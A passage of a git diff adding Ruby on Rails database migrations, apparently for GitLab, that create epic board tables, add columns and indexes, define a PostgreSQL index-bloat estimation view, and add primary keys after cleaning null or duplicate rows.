index 00000000000..519e705ce14
--- /dev/null
+++ b/db/migrate/20201126190039_add_epic_board_labels.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddEpicBoardLabels < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ create_table :boards_epic_board_labels do |t|
+ t.references :epic_board, index: true, foreign_key: { to_table: :boards_epic_boards, on_delete: :cascade }, null: false
+ t.references :label, index: true, foreign_key: { on_delete: :cascade }, null: false
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :boards_epic_board_labels
+ end
+ end
+end
diff --git a/db/migrate/20201127141433_add_other_role_to_user_details.rb b/db/migrate/20201127141433_add_other_role_to_user_details.rb
new file mode 100644
index 00000000000..586dbb033fd
--- /dev/null
+++ b/db/migrate/20201127141433_add_other_role_to_user_details.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class AddOtherRoleToUserDetails < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless column_exists?(:user_details, :other_role)
+ with_lock_retries do
+ add_column :user_details, :other_role, :text
+ end
+ end
+
+ add_text_limit :user_details, :other_role, 100
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :user_details, :other_role
+ end
+ end
+end
diff --git a/db/migrate/20201127170848_add_index_bloat_estimate_view.rb b/db/migrate/20201127170848_add_index_bloat_estimate_view.rb
new file mode 100644
index 00000000000..ab268f8569e
--- /dev/null
+++ b/db/migrate/20201127170848_add_index_bloat_estimate_view.rb
@@ -0,0 +1,109 @@
+# frozen_string_literal: true
+
+class AddIndexBloatEstimateView < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ execute(<<~SQL)
+ CREATE VIEW postgres_index_bloat_estimates AS
+ -- Originally from: https://github.com/ioguix/pgsql-bloat-estimation/blob/master/btree/btree_bloat.sql
+ -- WARNING: executed with a non-superuser role, the query inspect only index on tables you are granted to read.
+ -- WARNING: rows with is_na = 't' are known to have bad statistics ("name" type is not supported).
+ -- This query is compatible with PostgreSQL 8.2 and after
+ SELECT nspname || '.' || idxname as identifier,
+ CASE WHEN relpages > est_pages_ff
+ THEN bs*(relpages-est_pages_ff)
+ ELSE 0
+ END::bigint AS bloat_size_bytes
+ FROM (
+ SELECT
+ coalesce(1 +
+ ceil(reltuples/floor((bs-pageopqdata-pagehdr)*fillfactor/(100*(4+nulldatahdrwidth)::float))), 0
+ ) AS est_pages_ff,
+ bs, nspname, tblname, idxname, relpages, is_na
+ FROM (
+ SELECT maxalign, bs, nspname, tblname, idxname, reltuples, relpages, idxoid, fillfactor,
+ ( index_tuple_hdr_bm +
+ maxalign - CASE -- Add padding to the index tuple header to align on MAXALIGN
+ WHEN index_tuple_hdr_bm%maxalign = 0 THEN maxalign
+ ELSE index_tuple_hdr_bm%maxalign
+ END
+ + nulldatawidth + maxalign - CASE -- Add padding to the data to align on MAXALIGN
+ WHEN nulldatawidth = 0 THEN 0
+ WHEN nulldatawidth::integer%maxalign = 0 THEN maxalign
+ ELSE nulldatawidth::integer%maxalign
+ END
+ )::numeric AS nulldatahdrwidth, pagehdr, pageopqdata, is_na
+ FROM (
+ SELECT n.nspname, i.tblname, i.idxname, i.reltuples, i.relpages,
+ i.idxoid, i.fillfactor, current_setting('block_size')::numeric AS bs,
+ CASE -- MAXALIGN: 4 on 32bits, 8 on 64bits (and mingw32 ?)
+ WHEN version() ~ 'mingw32' OR version() ~ '64-bit|x86_64|ppc64|ia64|amd64' THEN 8
+ ELSE 4
+ END AS maxalign,
+ /* per page header, fixed size: 20 for 7.X, 24 for others */
+ 24 AS pagehdr,
+ /* per page btree opaque data */
+ 16 AS pageopqdata,
+ /* per tuple header: add IndexAttributeBitMapData if some cols are null-able */
+ CASE WHEN max(coalesce(s.null_frac,0)) = 0
+ THEN 2 -- IndexTupleData size
+ ELSE 2 + (( 32 + 8 - 1 ) / 8) -- IndexTupleData size + IndexAttributeBitMapData size ( max num filed per index + 8 - 1 /8)
+ END AS index_tuple_hdr_bm,
+ /* data len: we remove null values save space using it fractionnal part from stats */
+ sum( (1-coalesce(s.null_frac, 0)) * coalesce(s.avg_width, 1024)) AS nulldatawidth,
+ max( CASE WHEN i.atttypid = 'pg_catalog.name'::regtype THEN 1 ELSE 0 END ) > 0 AS is_na
+ FROM (
+ SELECT ct.relname AS tblname, ct.relnamespace, ic.idxname, ic.attpos, ic.indkey, ic.indkey[ic.attpos], ic.reltuples, ic.relpages, ic.tbloid, ic.idxoid, ic.fillfactor,
+ coalesce(a1.attnum, a2.attnum) AS attnum, coalesce(a1.attname, a2.attname) AS attname, coalesce(a1.atttypid, a2.atttypid) AS atttypid,
+ CASE WHEN a1.attnum IS NULL
+ THEN ic.idxname
+ ELSE ct.relname
+ END AS attrelname
+ FROM (
+ SELECT idxname, reltuples, relpages, tbloid, idxoid, fillfactor, indkey,
+ pg_catalog.generate_series(1,indnatts) AS attpos
+ FROM (
+ SELECT ci.relname AS idxname, ci.reltuples, ci.relpages, i.indrelid AS tbloid,
+ i.indexrelid AS idxoid,
+ coalesce(substring(
+ array_to_string(ci.reloptions, ' ')
+ from 'fillfactor=([0-9]+)')::smallint, 90) AS fillfactor,
+ i.indnatts,
+ pg_catalog.string_to_array(pg_catalog.textin(
+ pg_catalog.int2vectorout(i.indkey)),' ')::int[] AS indkey
+ FROM pg_catalog.pg_index i
+ JOIN pg_catalog.pg_class ci ON ci.oid = i.indexrelid
+ WHERE ci.relam=(SELECT oid FROM pg_am WHERE amname = 'btree')
+ AND ci.relpages > 0
+ ) AS idx_data
+ ) AS ic
+ JOIN pg_catalog.pg_class ct ON ct.oid = ic.tbloid
+ LEFT JOIN pg_catalog.pg_attribute a1 ON
+ ic.indkey[ic.attpos] <> 0
+ AND a1.attrelid = ic.tbloid
+ AND a1.attnum = ic.indkey[ic.attpos]
+ LEFT JOIN pg_catalog.pg_attribute a2 ON
+ ic.indkey[ic.attpos] = 0
+ AND a2.attrelid = ic.idxoid
+ AND a2.attnum = ic.attpos
+ ) i
+ JOIN pg_catalog.pg_namespace n ON n.oid = i.relnamespace
+ JOIN pg_catalog.pg_stats s ON s.schemaname = n.nspname
+ AND s.tablename = i.attrelname
+ AND s.attname = i.attname
+ GROUP BY 1,2,3,4,5,6,7,8,9,10,11
+ ) AS rows_data_stats
+ ) AS rows_hdr_pdg_stats
+ ) AS relation_stats
+ WHERE nspname IN ("current_schema"(), 'gitlab_partitions_dynamic', 'gitlab_partitions_static') AND NOT is_na
+ ORDER BY nspname, tblname, idxname;
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ DROP VIEW postgres_index_bloat_estimates
+ SQL
+ end
+end
diff --git a/db/migrate/20201201033202_add_verification_indexes_for_package_files.rb b/db/migrate/20201201033202_add_verification_indexes_for_package_files.rb
new file mode 100644
index 00000000000..b7f55101682
--- /dev/null
+++ b/db/migrate/20201201033202_add_verification_indexes_for_package_files.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddVerificationIndexesForPackageFiles < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ PENDING_VERIFICATION_INDEX_NAME = "packages_packages_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "packages_packages_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "packages_packages_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :packages_package_files, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :packages_package_files, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :packages_package_files, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :packages_package_files, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :packages_package_files, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :packages_package_files, NEEDS_VERIFICATION_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201201034258_add_index_for_non_system_noteables.rb b/db/migrate/20201201034258_add_index_for_non_system_noteables.rb
new file mode 100644
index 00000000000..5927463e767
--- /dev/null
+++ b/db/migrate/20201201034258_add_index_for_non_system_noteables.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddIndexForNonSystemNoteables < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ LEGACY_INDEX_NAME = "index_notes_on_noteable_id_and_noteable_type"
+ NEW_INDEX_NAME = "index_notes_on_noteable_id_and_noteable_type_and_system"
+
+ def up
+ add_concurrent_index :notes, [:noteable_id, :noteable_type, :system], name: NEW_INDEX_NAME
+
+ remove_concurrent_index_by_name :notes, LEGACY_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :notes, [:noteable_id, :noteable_type], name: LEGACY_INDEX_NAME
+
+ remove_concurrent_index_by_name :notes, NEW_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201201161655_add_primary_key_to_elastic_search_indexed_projects.rb b/db/migrate/20201201161655_add_primary_key_to_elastic_search_indexed_projects.rb
new file mode 100644
index 00000000000..cf7221693f9
--- /dev/null
+++ b/db/migrate/20201201161655_add_primary_key_to_elastic_search_indexed_projects.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class AddPrimaryKeyToElasticSearchIndexedProjects < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ UNIQUE_INDEX_NAME = 'index_elasticsearch_indexed_projects_on_project_id'
+ PRIMARY_KEY_NAME = 'elasticsearch_indexed_projects_pkey'
+
+ def up
+ execute(<<~SQL)
+ DELETE FROM elasticsearch_indexed_projects
+ WHERE project_id IS NULL
+ SQL
+
+ execute(<<~SQL)
+ ALTER TABLE elasticsearch_indexed_projects
+ ALTER COLUMN project_id SET NOT NULL,
+ ADD CONSTRAINT #{PRIMARY_KEY_NAME} PRIMARY KEY USING INDEX #{UNIQUE_INDEX_NAME}
+ SQL
+ end
+
+ def down
+ add_index :elasticsearch_indexed_projects, :project_id, unique: true, name: UNIQUE_INDEX_NAME # rubocop:disable Migration/AddIndex
+
+ execute(<<~SQL)
+ ALTER TABLE elasticsearch_indexed_projects
+ DROP CONSTRAINT #{PRIMARY_KEY_NAME},
+ ALTER COLUMN project_id DROP NOT NULL
+ SQL
+ end
+end
diff --git a/db/migrate/20201201163227_add_finding_uuid_to_vulnerability_feedback.rb b/db/migrate/20201201163227_add_finding_uuid_to_vulnerability_feedback.rb
new file mode 100644
index 00000000000..a2e13806000
--- /dev/null
+++ b/db/migrate/20201201163227_add_finding_uuid_to_vulnerability_feedback.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddFindingUuidToVulnerabilityFeedback < ActiveRecord::Migration[6.0]
+ # Set this constant to true if this migration requires downtime.
+ DOWNTIME = false
+
+ def change
+ add_column :vulnerability_feedback, :finding_uuid, :uuid
+ end
+end
diff --git a/db/migrate/20201201175656_add_index_vulnerabilities_on_project_id_and_state_and_severity.rb b/db/migrate/20201201175656_add_index_vulnerabilities_on_project_id_and_state_and_severity.rb
new file mode 100644
index 00000000000..d0e8920d7a5
--- /dev/null
+++ b/db/migrate/20201201175656_add_index_vulnerabilities_on_project_id_and_state_and_severity.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexVulnerabilitiesOnProjectIdAndStateAndSeverity < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_vulnerabilities_on_project_id_and_state_and_severity'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerabilities, [:project_id, :state, :severity], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201201190002_add_other_context_to_experiment_user.rb b/db/migrate/20201201190002_add_other_context_to_experiment_user.rb
new file mode 100644
index 00000000000..c901f049e75
--- /dev/null
+++ b/db/migrate/20201201190002_add_other_context_to_experiment_user.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddOtherContextToExperimentUser < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :experiment_users, :context, :jsonb, default: {}, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :experiment_users, :context
+ end
+ end
+end
diff --git a/db/migrate/20201201192112_add_primary_key_to_elastic_search_indexed_namespaces.rb b/db/migrate/20201201192112_add_primary_key_to_elastic_search_indexed_namespaces.rb
new file mode 100644
index 00000000000..610cd2828ca
--- /dev/null
+++ b/db/migrate/20201201192112_add_primary_key_to_elastic_search_indexed_namespaces.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class AddPrimaryKeyToElasticSearchIndexedNamespaces < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ UNIQUE_INDEX_NAME = 'index_elasticsearch_indexed_namespaces_on_namespace_id'
+ PRIMARY_KEY_NAME = 'elasticsearch_indexed_namespaces_pkey'
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ execute(<<~SQL)
+ LOCK TABLE elasticsearch_indexed_namespaces IN ACCESS EXCLUSIVE MODE;
+
+ DELETE FROM elasticsearch_indexed_namespaces
+ WHERE namespace_id IS NULL;
+
+ ALTER TABLE elasticsearch_indexed_namespaces
+ ADD CONSTRAINT #{PRIMARY_KEY_NAME} PRIMARY KEY USING INDEX #{UNIQUE_INDEX_NAME};
+ SQL
+ end
+ end
+
+ def down
+ add_concurrent_index :elasticsearch_indexed_namespaces, :namespace_id, unique: true, name: UNIQUE_INDEX_NAME
+
+ with_lock_retries do
+ execute(<<~SQL)
+ ALTER TABLE elasticsearch_indexed_namespaces
+ DROP CONSTRAINT #{PRIMARY_KEY_NAME},
+ ALTER COLUMN namespace_id DROP NOT NULL
+ SQL
+ end
+ end
+end
diff --git a/db/migrate/20201202003042_add_epic_board_positions.rb b/db/migrate/20201202003042_add_epic_board_positions.rb
new file mode 100644
index 00000000000..528d5ed3af1
--- /dev/null
+++ b/db/migrate/20201202003042_add_epic_board_positions.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class AddEpicBoardPositions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ create_table :boards_epic_board_positions do |t|
+ t.references :epic_board, foreign_key: { to_table: :boards_epic_boards, on_delete: :cascade }, null: false, index: false
+ t.references :epic, foreign_key: { on_delete: :cascade }, null: false, index: true
+ t.integer :relative_position
+
+ t.timestamps_with_timezone null: false
+
+ t.index [:epic_board_id, :epic_id], unique: true, name: :index_boards_epic_board_positions_on_epic_board_id_and_epic_id
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :boards_epic_board_positions
+ end
+ end
+end
diff --git a/db/migrate/20201202025644_add_column_to_security_findings.rb b/db/migrate/20201202025644_add_column_to_security_findings.rb
new file mode 100644
index 00000000000..0b63b79d949
--- /dev/null
+++ b/db/migrate/20201202025644_add_column_to_security_findings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+#
+class AddColumnToSecurityFindings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :security_findings, :uuid, :uuid
+ end
+end
diff --git a/db/migrate/20201202025937_add_index_to_security_findings_uuid.rb b/db/migrate/20201202025937_add_index_to_security_findings_uuid.rb
new file mode 100644
index 00000000000..4c33809fbfc
--- /dev/null
+++ b/db/migrate/20201202025937_add_index_to_security_findings_uuid.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexToSecurityFindingsUuid < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_security_findings_on_uuid'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :security_findings, :uuid, name: INDEX_NAME, unique: true
+ end
+
+ def down
+ remove_concurrent_index_by_name :security_findings, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201202133606_add_sorted_to_merge_request_diffs.rb b/db/migrate/20201202133606_add_sorted_to_merge_request_diffs.rb
new file mode 100644
index 00000000000..4c0d28d70a1
--- /dev/null
+++ b/db/migrate/20201202133606_add_sorted_to_merge_request_diffs.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddSortedToMergeRequestDiffs < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :merge_request_diffs, :sorted, :boolean, null: false, default: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :merge_request_diffs, :sorted
+ end
+ end
+end
diff --git a/db/migrate/20201202142751_drop_index_vulnerabilities_on_project_id.rb b/db/migrate/20201202142751_drop_index_vulnerabilities_on_project_id.rb
new file mode 100644
index 00000000000..c1ca32a1978
--- /dev/null
+++ b/db/migrate/20201202142751_drop_index_vulnerabilities_on_project_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class DropIndexVulnerabilitiesOnProjectId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_vulnerabilities_on_project_id'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerabilities, :project_id, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201202150001_add_details_to_vulnerability_findings.rb b/db/migrate/20201202150001_add_details_to_vulnerability_findings.rb
new file mode 100644
index 00000000000..b7639bdfaa3
--- /dev/null
+++ b/db/migrate/20201202150001_add_details_to_vulnerability_findings.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddDetailsToVulnerabilityFindings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :vulnerability_occurrences, :details, :jsonb, default: {}, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :vulnerability_occurrences, :details
+ end
+ end
+end
diff --git a/db/migrate/20201202155913_add_primary_key_to_merge_request_context_commit_diff_files.rb b/db/migrate/20201202155913_add_primary_key_to_merge_request_context_commit_diff_files.rb
new file mode 100644
index 00000000000..90c7b2731c8
--- /dev/null
+++ b/db/migrate/20201202155913_add_primary_key_to_merge_request_context_commit_diff_files.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class AddPrimaryKeyToMergeRequestContextCommitDiffFiles < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ execute(<<~SQL)
+ DELETE FROM merge_request_context_commit_diff_files
+ WHERE merge_request_context_commit_id IS NULL;
+
+ DELETE FROM merge_request_context_commit_diff_files df1
+ USING merge_request_context_commit_diff_files df2
+ WHERE df1.ctid < df2.ctid
+ AND df1.merge_request_context_commit_id = df2.merge_request_context_commit_id
+ AND df1.relative_order = df2.relative_order;
+
+ ALTER TABLE merge_request_context_commit_diff_files
+ ADD CONSTRAINT merge_request_context_commit_diff_files_pkey PRIMARY KEY (merge_request_context_commit_id, relative_order);
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ ALTER TABLE merge_request_context_commit_diff_files
+ DROP CONSTRAINT merge_request_context_commit_diff_files_pkey,
+ ALTER COLUMN merge_request_context_commit_id DROP NOT NULL
+ SQL
+ end
+end
diff --git a/db/migrate/20201202160105_add_group_file_name_index_to_dependency_proxy_manifests.rb b/db/migrate/20201202160105_add_group_file_name_index_to_dependency_proxy_manifests.rb
new file mode 100644
index 00000000000..a0bafeedaec
--- /dev/null
+++ b/db/migrate/20201202160105_add_group_file_name_index_to_dependency_proxy_manifests.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class AddGroupFileNameIndexToDependencyProxyManifests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ NEW_INDEX = 'index_dependency_proxy_manifests_on_group_id_and_file_name'
+ OLD_INDEX = 'index_dependency_proxy_manifests_on_group_id_and_digest'
+
+ def up
+ add_concurrent_index :dependency_proxy_manifests, [:group_id, :file_name], name: NEW_INDEX, unique: true
+ remove_concurrent_index_by_name :dependency_proxy_manifests, OLD_INDEX
+ end
+
+ def down
+ add_concurrent_index :dependency_proxy_manifests, [:group_id, :digest], name: OLD_INDEX
+ remove_concurrent_index_by_name :dependency_proxy_manifests, NEW_INDEX
+ end
+end
diff --git a/db/migrate/20201202161021_remove_redundant_index_on_merge_request_context_commit_diff_files.rb b/db/migrate/20201202161021_remove_redundant_index_on_merge_request_context_commit_diff_files.rb
new file mode 100644
index 00000000000..a9c0a079955
--- /dev/null
+++ b/db/migrate/20201202161021_remove_redundant_index_on_merge_request_context_commit_diff_files.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class RemoveRedundantIndexOnMergeRequestContextCommitDiffFiles < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :merge_request_context_commit_diff_files, 'idx_mr_cc_diff_files_on_mr_cc_id'
+ end
+
+ def down
+ # no-op: this index is not tracked in structure.sql, and is redundant due to idx_mr_cc_diff_files_on_mr_cc_id_and_sha
+ end
+end
diff --git a/db/migrate/20201203123524_add_domain_enum_to_alerts.rb b/db/migrate/20201203123524_add_domain_enum_to_alerts.rb
new file mode 100644
index 00000000000..f1dec91a346
--- /dev/null
+++ b/db/migrate/20201203123524_add_domain_enum_to_alerts.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddDomainEnumToAlerts < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :alert_management_alerts, :domain, :integer, limit: 2, default: 0
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :alert_management_alerts, :domain, :integer, limit: 2
+ end
+ end
+end
diff --git a/db/migrate/20201203144655_add_allow_to_edit_commit_to_project_settings.rb b/db/migrate/20201203144655_add_allow_to_edit_commit_to_project_settings.rb
new file mode 100644
index 00000000000..efca683d748
--- /dev/null
+++ b/db/migrate/20201203144655_add_allow_to_edit_commit_to_project_settings.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddAllowToEditCommitToProjectSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :project_settings, :allow_editing_commit_messages, :boolean, default: false, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :project_settings, :allow_editing_commit_messages
+ end
+ end
+end
diff --git a/db/migrate/20201203171631_add_index_to_domain.rb b/db/migrate/20201203171631_add_index_to_domain.rb
new file mode 100644
index 00000000000..dc7b9539e95
--- /dev/null
+++ b/db/migrate/20201203171631_add_index_to_domain.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToDomain < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+ INDEX_NAME = 'index_alert_management_alerts_on_domain'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :alert_management_alerts, :domain, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :alert_management_alerts, :domain, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201204085522_add_project_id_into_vulnerability_remediations.rb b/db/migrate/20201204085522_add_project_id_into_vulnerability_remediations.rb
new file mode 100644
index 00000000000..6a136ab0389
--- /dev/null
+++ b/db/migrate/20201204085522_add_project_id_into_vulnerability_remediations.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddProjectIdIntoVulnerabilityRemediations < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ connection.execute('DELETE FROM vulnerability_remediations')
+
+ add_column :vulnerability_remediations, :project_id, :bigint, null: false # rubocop:disable Rails/NotNullColumn
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :vulnerability_remediations, :project_id
+ end
+ end
+end
diff --git a/db/migrate/20201204090855_add_compound_index_to_vulnerability_remediations_table.rb b/db/migrate/20201204090855_add_compound_index_to_vulnerability_remediations_table.rb
new file mode 100644
index 00000000000..0b4b6e552aa
--- /dev/null
+++ b/db/migrate/20201204090855_add_compound_index_to_vulnerability_remediations_table.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class AddCompoundIndexToVulnerabilityRemediationsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ NEW_INDEX_NAME = 'index_vulnerability_remediations_on_project_id_and_checksum'
+ OLD_INDEX_NAME = 'index_vulnerability_remediations_on_checksum'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :vulnerability_remediations, [:project_id, :checksum], unique: true, name: NEW_INDEX_NAME
+ add_concurrent_foreign_key :vulnerability_remediations, :projects, column: :project_id
+
+ remove_concurrent_index_by_name :vulnerability_remediations, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :vulnerability_remediations, :checksum, unique: true, name: OLD_INDEX_NAME
+
+ remove_concurrent_index_by_name :vulnerability_remediations, NEW_INDEX_NAME
+
+ with_lock_retries do
+ remove_foreign_key_if_exists :vulnerability_remediations, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20201204141038_add_trace_bytesize_to_ci_build_pending_states.rb b/db/migrate/20201204141038_add_trace_bytesize_to_ci_build_pending_states.rb
new file mode 100644
index 00000000000..c866493e8d8
--- /dev/null
+++ b/db/migrate/20201204141038_add_trace_bytesize_to_ci_build_pending_states.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddTraceBytesizeToCiBuildPendingStates < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :ci_build_pending_states, :trace_bytesize, :bigint
+ end
+end
diff --git a/db/migrate/20201204205814_add_member_events_to_web_hooks.rb b/db/migrate/20201204205814_add_member_events_to_web_hooks.rb
new file mode 100644
index 00000000000..edb374f1bdd
--- /dev/null
+++ b/db/migrate/20201204205814_add_member_events_to_web_hooks.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddMemberEventsToWebHooks < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :web_hooks, :member_events, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20201204215353_add_pull_mirror_interval_to_plan_limits.rb b/db/migrate/20201204215353_add_pull_mirror_interval_to_plan_limits.rb
new file mode 100644
index 00000000000..3484e4c8afa
--- /dev/null
+++ b/db/migrate/20201204215353_add_pull_mirror_interval_to_plan_limits.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddPullMirrorIntervalToPlanLimits < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :plan_limits, :pull_mirror_interval_seconds, :integer, default: 300, null: false
+ end
+end
diff --git a/db/migrate/20201208081429_update_internal_ids_last_value_for_epics_renamed.rb b/db/migrate/20201208081429_update_internal_ids_last_value_for_epics_renamed.rb
new file mode 100644
index 00000000000..fadc365d53c
--- /dev/null
+++ b/db/migrate/20201208081429_update_internal_ids_last_value_for_epics_renamed.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class UpdateInternalIdsLastValueForEpicsRenamed < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ ApplicationRecord.connection.execute(<<-SQL.squish)
+ UPDATE internal_ids
+ SET last_value = epics_max_iids.maximum_iid
+ FROM
+ (
+ SELECT
+ MAX(epics.iid) AS maximum_iid,
+ epics.group_id AS epics_group_id
+ FROM epics
+ GROUP BY epics.group_id
+ ) epics_max_iids
+ WHERE internal_ids.last_value < epics_max_iids.maximum_iid
+ AND namespace_id = epics_max_iids.epics_group_id
+ AND internal_ids.usage = 4
+ SQL
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20201208143911_add_approvals_created_at_index.rb b/db/migrate/20201208143911_add_approvals_created_at_index.rb
new file mode 100644
index 00000000000..cfec6b257c2
--- /dev/null
+++ b/db/migrate/20201208143911_add_approvals_created_at_index.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddApprovalsCreatedAtIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_approvals_on_merge_request_id_and_created_at'
+
+ def up
+ add_concurrent_index :approvals, [:merge_request_id, :created_at], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :approvals, INDEX_NAME
+ end
+end
